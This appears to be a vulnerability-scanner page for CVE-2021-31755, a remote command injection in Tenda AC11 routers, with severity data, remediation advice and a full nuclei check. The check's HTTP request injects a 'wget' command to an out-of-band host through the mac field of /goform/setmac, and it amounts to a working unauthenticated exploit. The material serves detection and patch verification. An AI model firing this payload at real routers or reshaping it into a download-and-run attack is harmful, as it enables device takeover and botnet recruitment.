Tenda Router AC11 - Remote Command Injection

Exploited in the wild. Listed by CISA on 2021-11-03; known to be used by ransomware.

criticalseverity

9.8CVSS score

86.5%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

Tenda Router AC11 is susceptible to remote command injection vulnerabilities in the web-based management interface that could allow an unauthenticated, remote attacker to perform command injection attacks against an affected device.

Impact

Successful exploitation of this vulnerability could lead to unauthorized access, data exfiltration, and complete compromise of the affected router.

Fix

Apply the latest firmware update provided by Tenda to fix the remote command injection vulnerability (CVE-2021-31755).

How to confirm it

Send: POST /goform/setmac
Positive when: contains in interactsh_protocol "http"

Run it with nuclei: nuclei -id CVE-2021-31755 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2021-31755

info:
  name: Tenda Router AC11 - Remote Command Injection
  author: gy741
  severity: critical
  description: Tenda Router AC11  is susceptible to remote command injection vulnerabilities in the web-based management interface that could allow an unauthenticated, remote attacker to perform command injection attacks against an affected device.
  impact: |
    Successful exploitation of this vulnerability could lead to unauthorized access, data exfiltration, and complete compromise of the affected router.
  remediation: |
    Apply the latest firmware update provided by Tenda to fix the remote command injection vulnerability (CVE-2021-31755).
  reference:
    - https://github.com/Yu3H0/IoT_CVE/tree/main/Tenda/CVE_3
    - https://www.fortinet.com/blog/threat-research/the-ghosts-of-mirai
    - https://nvd.nist.gov/vuln/detail/CVE-2021-31755
    - https://github.com/Ostorlab/known_exploited_vulnerbilities_detectors
    - https://github.com/Yu3H0/IoT_CVE
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-31755
    cwe-id: CWE-787
    epss-score: 0.86511
    epss-percentile: 0.9974
    cpe: cpe:2.3:o:tenda:ac11_firmware:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: tenda
    product: ac11_firmware
  tags: cve2021,cve,tenda,rce,oast,router,mirai,kev,vkev,vuln

http:
  - raw:
      - |
        POST /goform/setmac HTTP/1.1
        Host: {{Hostname}}
        Origin: {{BaseURL}}
        Referer: {{BaseURL}}/index.htmlr
        Content-Type: application/x-www-form-urlencoded

        module1=wifiBasicCfg&doubleBandUnityEnable=false&wifiTotalEn=true&wifiEn=true&wifiSSID=Tenda_B0E040&mac=wget+http://{{interactsh-url}}&wifiSecurityMode=WPAWPA2%2FAES&wifiPwd=Password12345&wifiHideSSID=false&wifiEn_5G=true&wifiSSID_5G=Tenda_B0E040_5G&wifiSecurityMode_5G=WPAWPA2%2FAES&wifiPwd_5G=Password12345&wifiHideSSID_5G=false&module2=wifiGuest&guestEn=false&guestEn_5G=false&guestSSID=Tenda_VIP&guestSSID_5G=Tenda_VIP_5G&guestPwd=&guestPwd_5G=&guestValidTime=8&guestShareSpeed=0&module3=wifiPower&wifiPower=high&wifiPower_5G=high&module5=wifiAdvCfg&wifiMode=bgn&wifiChannel=auto&wifiBandwidth=auto&wifiMode_5G=ac&wifiChannel_5G=auto&wifiBandwidth_5G=auto&wifiAntijamEn=false&module6=wifiBeamforming&wifiBeaformingEn=true&module7=wifiWPS&wpsEn=true&wanType=static

    matchers:
      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "http"

References

Use this check only on systems you are authorised to test. Where the data comes from